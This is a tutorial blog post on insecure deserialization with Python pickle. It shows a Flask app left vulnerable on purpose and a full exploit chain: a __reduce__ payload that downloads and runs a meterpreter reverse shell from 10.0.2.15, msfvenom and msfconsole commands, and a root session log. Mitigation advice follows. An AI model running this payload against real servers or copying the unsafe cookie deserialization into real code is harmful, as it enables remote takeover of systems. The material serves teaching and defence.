What is serialization?

Let’s start off by defining what exactly serialization means. Serialization is the process of converting a complex object, such as a list in python, into a format which is more suitable for certain operations such as storing into files, transmitting over a network. Serialization is also, at times, referred to as marshaling.

Serialization has an obvious benefit that it retains the structure of the original object when the data gets deserialized. This is a fancy way of saying that the list you serialized in python will directly be converted back to a list once you deserialize it and hence, it can be used as a variable’s value immediately rather than to parse it to make sense of it.

Insecure Deserialization

Insecure Deserialisation refers to when the data being deserialized abuses the logic of the application to perform unintended tasks. These tasks could range from performing Denial of Service (DoS) attacks, spawning a reverse shell and executing arbitrary code on the target.

The example below gives a peek at the severity of this vulnerability:

import pickle
import os

class BadUserClass():
    def __init__(self, username):
        self.username = username

    def __reduce__(self):
        return (self.__class__, (os.system("whoami"),))

bad_user_obj = BadUserClass("ayush")

serialized_obj = pickle.dumps(bad_user_obj)

# Insecure deserialization
user = pickle.loads(serialized_obj)

print("Hello!, {}".format(user.username))

Running the above code provides us with the following output, displaying desktop-fsv539h\ayush -

desktop-fsv539h\ayush
Hello!, 0

But let’s take a bit more realistic example because why would you want to exploit yourself.

Let’s assume that we have a simple web application which asks for your name and greets with a customized greeting! On the server side, we’ll have a simple flask app running with a UserID class to manage user data.

# flask_app.py
import os
import pickle
from uuid import uuid1
from flask import Flask, make_response, request
from base64 import b64encode, b64decode

# The User Class which assigns a random ID to each connection
class UserID:
    def __init__(self, uuid=None):
        self.uuid = str(uuid1())

    def __str__(self):
        return self.uuid

# The main Flask Backend
app = Flask(__name__)

@app.route('/', methods=['GET'])
def index():
    user_obj = request.cookies.get('uuid')

    if user_obj == None:
        msg = "Seems like you didn't have a cookie. No worries! I'll set one now!"
        response = make_response(msg)
        user_obj = UserID()
        response.set_cookie('uuid', b64encode(pickle.dumps(user_obj)))
        return response

    else:
        return "Hey there! {}!".format(pickle.loads(b64decode(user_obj)))

if __name__ == "__main__":
    # Using host='0.0.0.0' to accept connections from all IPs
    app.run(host='0.0.0.0')

A brief explanation of the app we see above is that it has a UserID class which serves to assign a unique ID to each visitor of the site. When someone visits the site, the flask app checks if there exists a cookie indicating a returning user. If it exists, the visitor is greeted with a personalized message. If the cookie does not exist, the backend sets one at that time. Here’s how it looks in action -

  • The response to a first-time visitor:

First Time visitor

  • The response to a returning visitor:

Returning visitor

I know that displaying the unique ID for a visitor on the browser is probably one of the worst things a back-end engineer could do but the point here is to understand insecure deserialization, so bear with me.

Now, that we know how the app functions, breaking into it is easy. Well, kind of. All we need to do, to target it, is to replace the cookie’s value set by the backend with the malicious serialized data. Let’s try and get a reverse shell. All we need to do is generate a malicious class object with the required terminal commands and set the cookie’s value to the base64 encoded value of the serialized object we created.

So, first I’ll create a meterpreter reverse shell called shell.elf with msfvenom and place it in /var/www/html -

root@kali:~# msfvenom --payload linux/x86/meterpreter/reverse_tcp -f elf -o shell.elf
root@kali:~# mv shell.elf /var/www/html/

Then the following script should take care of all the steps I mentioned before and give us the value we need to use the payload -

# exploit.py
import os
import pickle
from base64 import b64encode

PAYLOAD = "cd /tmp && wget http://10.0.2.15/shell.elf && chmod +x shell.elf && ./shell.elf"

class Exploit(object):
    def __reduce__(self):
        return (eval, ("os.system('" + PAYLOAD + "')",))

exploit_code = pickle.dumps(Exploit())

print(b64encode(exploit_code))

# Output is: b'gANjYnVpbHRpbnMKZXZhbApxAFhcAAAAb3Muc3lzdGVtKCdjZCAvdG1wICYmIHdnZXQgaHR0cDovLzEwLjAuMi4xNS9zaGVsbC5lbGYgJiYgY2htb2QgK3ggc2hlbGwuZWxmICYmIC4vc2hlbGwuZWxmJylxAYVxAlJxAy4='

Note: Firstly, for anyone who is wondering, the IP used above is what you’ll replace with your IP. Secondly, the output is a byte-string but we only need its contents so we can ignore the b' at the start and ' at the end.

Let’s visit the site and get ourselves an ID first -

Geting ourselves an ID

Now, let’s change the cookie’s value using the browser’s javascript console -

Geting ourselves an ID

Hitting refresh on the browser would trigger the backend to read the cookie value and deserialize it which will trigger our payload. So, let’s set-up our meterpreter handler before doing that -

root@kali:~# msfconsole

--- snipped ---

msf > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 10.0.2.15
LHOST => 10.0.2.15
msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.0.2.15:4444

Hitting refresh on the browser, we execute the payload and checking back on msfconsole we have a session active and now are in the server -

[*] Started reverse TCP handler on 10.0.2.15:4444
[*] Sending stage (861480 bytes) to 10.0.2.15
[*] Meterpreter session 1 opened (10.0.2.15:4444 -> 10.0.2.15:45420) at 2019-06-02 14:13:12 -0400

meterpreter > shell
Process 3470 created.
Channel 1 created.
whoami  
root

As the above snippet shows, we have a successful meterpreter shell, which gives us the ability to do virtually anything on the server. From sending additional payloads to pivoting and attacking other systems by proxying our attack traffic through this server.

By the way, if you were wondering how the target IP and our IP are the same, it’s because I ran the server on the same system. It doesn’t change or affect anything though. In a realistic situation, you’d do the same stuff we did here.

I believe that the dangers of insecure deserialization should be quite evident now. But we should also take note of the fact that we were able to exploit the vulnerability because we had the source to look at. Insecure deserialization is one of the most difficult vulnerabilities to find and exploit. It generally requires some access to the source code of the target application itself. This can happen in two cases - a white-box testing scenario or the attacker manages to get hold of the source somehow.

Mitigation

Even though insecure deserialization is hard to identify, one should not rely on the attacker having no luck in finding the vulnerability. We can secure the application from deserialization attacks to a great extent by implementing the following rules -

  • Validate user input.
  • Never deserialize data from an untrusted source.
  • Run the deserialization code with limited access privileges.
  • When transferring data between two systems, check if the object has been tampered with. One can use checksums for this.
  • If available, use safe deserialization methods. For example, using yaml.safe_load() instead of yaml.load() in python.

References